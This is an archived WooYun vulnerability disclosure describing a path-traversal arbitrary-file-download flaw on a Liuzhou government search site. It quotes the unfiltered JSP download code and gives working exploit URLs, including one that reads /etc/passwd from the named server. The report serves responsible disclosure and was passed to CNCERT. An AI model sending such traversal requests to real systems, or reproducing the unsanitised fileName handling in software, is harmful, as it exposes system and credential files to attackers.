乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-01-20: 细节已通知厂商并且等待厂商处理中 2014-01-25: 厂商已经确认,细节仅向厂商公开 2014-02-04: 细节向核心白帽子及相关领域专家公开 2014-02-14: 细节向普通白帽子公开 2014-02-24: 细节向实习白帽子公开 2014-03-06: 细节向公众公开
政府门户网站某分站参数过滤不严导致任意文件下载
http://so.liuzhou.gov.cn:8080/inforadar/jsp/file/file_download.jsp?fileType=file&fileName=../../file/file_download.jsp
我们看看源码
<%@ page contentType="text/html;charset=UTF-8" pageEncoding="GBK" import="com.jspsmart.upload.*" %><% // 新建一个smartupload对象 SmartUpload su = new SmartUpload(); // 初始化 su.initialize(pageContext); // 设定contentDisposition为null以禁止浏览器自动打开文件,保证点击链接后是下载文件。 // 若不设定,则下载的文件扩展名为doc时,浏览器将自动用word打开它;扩展名为pdf时,浏览器将用acrobat打开。 su.setContentDisposition(null); // 根据文件类型确认文件所处文件夹,默认放在file文件夹中 String fileType = request.getParameter("fileType"); if (fileType == null || fileType.equals("")) { fileType = (String) request.getSession().getAttribute("fileType"); } String uploadDir = "file"; if (fileType != null && !fileType.equals("")) { uploadDir = fileType; } // 文件系统中文件名 String fileName = request.getParameter("fileName"); //System.out.println(fileName); if (fileName == null || fileName.equals("")) { fileName = (String) request.getSession().getAttribute("fileName"); } // 文件原名,可能是中文 String originFileName = request.getParameter("originFileName"); //System.out.println(originFileName); if (originFileName == null || originFileName.equals("")) { originFileName = (String) request.getSession().getAttribute("originFileName"); } if (originFileName != null) { // 针对采集过来的带附件的文档,originFileName可能是url名,只保留真实文件名 originFileName = originFileName.replaceFirst("^.*[/\\\\](?=[^/\\\\]*$)", ""); } try { // 下载文件 su.downloadFile("/jsp/data/" + uploadDir + "/" + fileName, null, originFileName); } catch (Exception e) { // e.printStackTrace(); }%>
很明显,只过滤了originFileName,没有过滤FileName,导致可以跨目录
http://so.liuzhou.gov.cn:8080/inforadar/jsp/file/file_download.jsp?fileType=file&fileName=../../../../../../../../../../../../../../etc/passwd
过滤FileName
危害等级:中
漏洞Rank:10
确认时间:2014-01-25 12:41
CNVD确认并复现所述情况,已经转由CNCERT下发给广西分中心,由其后续联系网站管理单位处置。
暂无